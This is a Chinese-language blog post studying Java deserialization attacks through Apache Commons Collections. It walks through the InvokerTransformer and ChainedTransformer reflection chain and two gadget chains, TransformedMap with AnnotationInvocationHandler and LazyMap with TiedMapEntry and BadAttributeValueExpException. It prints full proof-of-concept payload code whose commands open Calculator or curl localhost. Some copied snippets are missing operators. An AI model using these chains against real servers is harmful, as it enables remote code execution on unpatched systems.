Java反序列化学习之Apache Commons Collections
2019-07-17 20:03:16

[toc]

背景

Apache Commons CollectionsApache Commons的组件,它们是从Java API派生而来的,并为Java语言提供了组件体系结构。 Commons-Collections试图通过提供新的接口,实现和实用程序来构建JDK类。 Apache Commons包应该是Java中使用最广发的工具包,很多框架都依赖于这组工具包中的一部分,它提供了我们常用的一些编程需要,但是JDK没能提供的机能,最大化的减少重复代码的编写。 2015年11月6日FoxGlove Security安全团队的@breenmachine发布了一篇长博客,阐述了利用Java反序列化和Apache Commons Collections这一基础类库实现远程命令执行的真实案例,各大Java Web Server纷纷躺枪,这个漏洞横扫WebLogic、WebSphere、JBoss、Jenkins、OpenNMS的最新版。

InvokerTransformer

 Apache Commons Collections中有一个特殊的接口Transformer,其中有一个实现该接口的类可以通过调用Java的反射机制来调用任意函数。 Transformer接口

1
2
3
4
public interface Transformer {
public Object transform(Object input);

}

InvokerTransformer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public class InvokerTransformer implements Transformer, Serializable {
......
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
}

可以看到transform方法利用Java的反射机制进行任意方法调用。 input参数是传入的一个实例化对象,反射调用的是其方法。

1
2
3
4
5
6
private InvokerTransformer(String methodName) {
super();
iMethodName = methodName;
iParamTypes = null;
iArgs = null;
}

iMethodName,iParamTypes,iArgs分别对应方法名,参数类型,参数,都是在实例化InvokerTransformer时传入的可控参数。因此利用这个方法我们可以调用任意对象的任意方法。 在Java中不能像php一样直接执行system()之类的函数,Java是完全面向对象的一门语言,执行某个操作需要对象->方法或者类->静态方法这样调用,常用的是Runtime.getRuntime().exec(cmd),因此上面的任意方法调用不能达到命令执行的目的。要多次调用transform并且上一次的返回结果作为下一次的输入。

ChainedTransformer

1
2
3
4
5
6
7
8
9
10
11
12
13
public class ChainedTransformer implements Transformer, Serializable { 
......
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
.......
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}

return object;
}

commons-collections中有一个满足上面条件的类:ChainedTransformer,该类实例化传入一个Transformer类型的数组,调用其transform方法挨个调用数组中对象的transform方法,并将返回值做为下一次调用对象方法的参数,第一个对象调用transform方法时的参数是用户传入的。 结合InvokerTransformer可以构造出:

1
2
3
4
5
6
7
8
Transformer[] transformers = new Transformer[] {
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"open -a Calculator"})
};

Transformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform(Runtime.getRuntime());

image.png 可以看到实例化InvokerTransformer时传入了对应的参数,返回了一个_Transformer数组对象。_ image.png 接着做为实例化参数传入ChainedTransformer,赋值给了this.iTransformers image.png 然后把Runtime.getRuntime()对象做为参数传入ChainedTransformertransform方法。然后调用数组中第一个对象的transform方法(数组中只传入了一个InvokerTransformer对象),把Runtime.getRuntime()做为调用参数。 image.png 然后反射调用Runtime.getRuntime()exec方法并传入参数open -a Calculator执行。 image.png

ConstantTransformer

当我们把上述transformerChain对象进行序列化然后反序列化时很明显不会触发命令执行,除非后端代码这样写。

1
2
3
4
5
InputStream iii = request.getInputStream();
ObjectInputStream in = new ObjectInputStream(iii);
obj = in.readObject();
obj.transform(Runtime.getRuntime());
in.close();

显然不可能有这样的代码,我们的目的是只执行readObject()就触发命令执行。 这里用到一个内置类ConstantTransformertransform方法会把传入的实例化参数原样返回。

1
2
3
4
5
6
7
8
9
10
11
public class ConstantTransformer implements Transformer, Serializable {
.....
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}

public Object transform(Object input) {
return iConstant;
}
}

因此构造

1
2
3
4
5
6
7
8
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"open -a Calculator"})
};

Transformer transformerChain = new ChainedTransformer(transformers);

但是这里实例化后的对象Runtime不允许序列化,所以不能直接传入实例化的对象。所以我们需要在transforms中利用InvokerTransformer反射回调出Runtime.getRuntime()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Transformer[] transformers = new Transformer[] {
//传入Runtime类
new ConstantTransformer(Runtime.class),
//反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }),
//反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class },
new Object[] {null, new Object[0] }),
//反射调用exec方法
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"open -a Calculator"})
};
Transformer transformerChain = new ChainedTransformer(transformers);

整个调用链是((Runtime) Runtime.class.getMethod("getRuntime").invoke()).exec("open -a Calculator") 现在反序列化后就可以obj.transform("随意输入");这样触发命令执行,但是一般也没有这样的代码,我们还需要继续构造。

攻击链(一)

https://xz.aliyun.com/t/4558#toc-0 /org/apache/commons/collections/map/TransformedMap.class

1
2
3
4
5
6
protected Object transformValue(Object object) {
if (valueTransformer == null) {
return object;
}
return valueTransformer.transform(object);
}

这里只要valueTransformer可控就可以利用上面的调用链。 构造函数

1
2
3
4
5
6
7
8
9
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}

可以看到valueTransformer是可控的。 触发点

1
2
3
4
5
public Object put(Object key, Object value) {
key = transformKey(key);
value = transformValue(value);
return getMap().put(key, value);
}

因此可以构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Transformer[] transformers = new Transformer[] {
//传入Runtime类
new ConstantTransformer(Runtime.class),
//反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }),
//反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class },
new Object[] {null, new Object[0] }),
//反射调用exec方法
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"open -a Calculator"})
};
Transformer transformerChain = new ChainedTransformer(transformers);

Map map = new HashMap();
Map transformedmap = TransformedMap.decorate(map, null, transformerChain);
transformedmap.put("1", "2");

要想实现反序列化RCE还需要找个重写readObject的地方,而且还需要有对Map的操作。 如果我们要实现反序列化RCE还需要找个重写readObject的地方,而且还需要有对map执行put的操作。 不过还有一处checkSetValue同样调用了transform

1
2
3
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}

在他的父类AbstractInputCheckedMapDecorator中有个MapEntry静态类,调用了AbstractInputCheckedMapDecorator.checkSetValue

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
static class MapEntry extends AbstractMapEntryDecorator {

/** The parent map */
private final AbstractInputCheckedMapDecorator parent;

protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}

public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}

我们需要找一个readObject中对map执行setValue的地方。 在jdk小于1.7的时候/reflect/annotation/AnnotationInvocationHandler.class中,readObject中有对map的修改功能。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();


// Check to make sure that types have not evolved incompatibly

AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; all bets are off
return;
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value)
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}

调试payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.util.HashMap;
import java.lang.reflect.Constructor;
import java.util.Map;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class test implements Serializable{

public static void main(String[] args) throws Exception
{
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null ,new Object[0]} ),
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"curl http://127.0.0.1:10000"})
};
Transformer transformerChain = new ChainedTransformer(transformers);

Map map = new HashMap();
map.put("value", "2");

Map transformedmap = TransformedMap.decorate(map, null, transformerChain);


Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
cons.setAccessible(true);

Object ins = cons.newInstance(java.lang.annotation.Retention.class,transformedmap);

ByteArrayOutputStream exp = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(exp);
oos.writeObject(ins);
oos.flush();
oos.close();

ByteArrayInputStream out = new ByteArrayInputStream(exp.toByteArray());
ObjectInputStream ois = new ObjectInputStream(out);
Object obj = (Object) ois.readObject();
}
}

首先把transformerChain赋值给了valueTransformerimage.png getDeclaredConstructor()返回有指定参数列表构造函数的构造函数对象,这里获取了sun.reflect.annotation.AnnotationInvocationHandler的构造函数对象。最后实例化了sun.reflect.annotation.AnnotationInvocationHandler

1
Object ins = cons.newInstance(java.lang.annotation.Retention.class,transformedmap);

var1var2分别对应java.lang.annotation.Retention和Map实例transformedmap image.png 看其readObject方法 Iterator var4 = this.memberValues.entrySet().iterator();this.memberValues就是Map实例transformedmap,首先会去调用其父类的entrySet方法, image.pngvalueTransformer不为空,所以返回true。进入new AbstractInputCheckedMapDecorator.EntrySet(super.map.entrySet(), this)     image.png 最终返回一个迭代器。 image.png image.png 然后这里可以看到var3的键名为value,因此我们put的key必须为value,这样var7才不会为nullimage.png 接着判断var7是否是var8的实例,var8是不是ExceptionProxy的实例。 最后会调用到setValue,此时的_this_.parent就是transformedmap image.png 最终调用transform,触发命令执行。

攻击链(二)

/org/apache/commons/collections/map/LazyMap.java中的get方法

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

factory同样可控,key任意值不会影响结果。

1
2
3
4
5
6
7
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}

现在我们需要想办法触发get方法。 /org/apache/commons/collections/keyvalue/TiedMapEntry.class getValue调用了map实例的get方法。

1
2
3
public Object getValue() {
return map.get(key);
}

toString方法会调用getValue,java中的toString和php一样,都是当对象被当做字符串处理的时候会自动调用这个方法。

1
2
3
public String toString() {
return getKey() + "=" + getValue();
}

修改poc

1
2
3
4
5
6
7
8
9
10
11
12
13
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null ,new Object[0]} ),
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"open -a Calculator"})
};
Transformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "123456");

序列化entry对象,当漏洞反序列化代码如下时触发漏洞:

1
2
3
4
InputStream iii = request.getInputStream();
ObjectInputStream in = new ObjectInputStream(iii);
System.out.println(in.readObject());
in.close();

这样的话 我们还需要打印这个反序列化对象,我们需要找到一个重写了readObject方法,并且对某个变量进行了字符串操作的类。 /javax/management/BadAttributeValueExpException.java 这里直接调用了valObj.toString(),而Object valObj = gf.get("val", null);,这里的val是私有变量我们可以通过反射私有变量来赋值。从而让valObj=entry

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);

if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
valObj instanceof Long
valObj instanceof Integer
valObj instanceof Float
valObj instanceof Double
valObj instanceof Byte
valObj instanceof Short
valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}

最终会调用toStringimage.png

后记

按照大师傅们文章中的思路跟了一遍,java好难,php真香。

Referer

https://p0sec.net/index.php/archives/121/ https://xz.aliyun.com/t/4558#toc-0 https://xz.aliyun.com/t/136 https://xz.aliyun.com/t/4711

Prev
2019-07-17 20:03:16
Next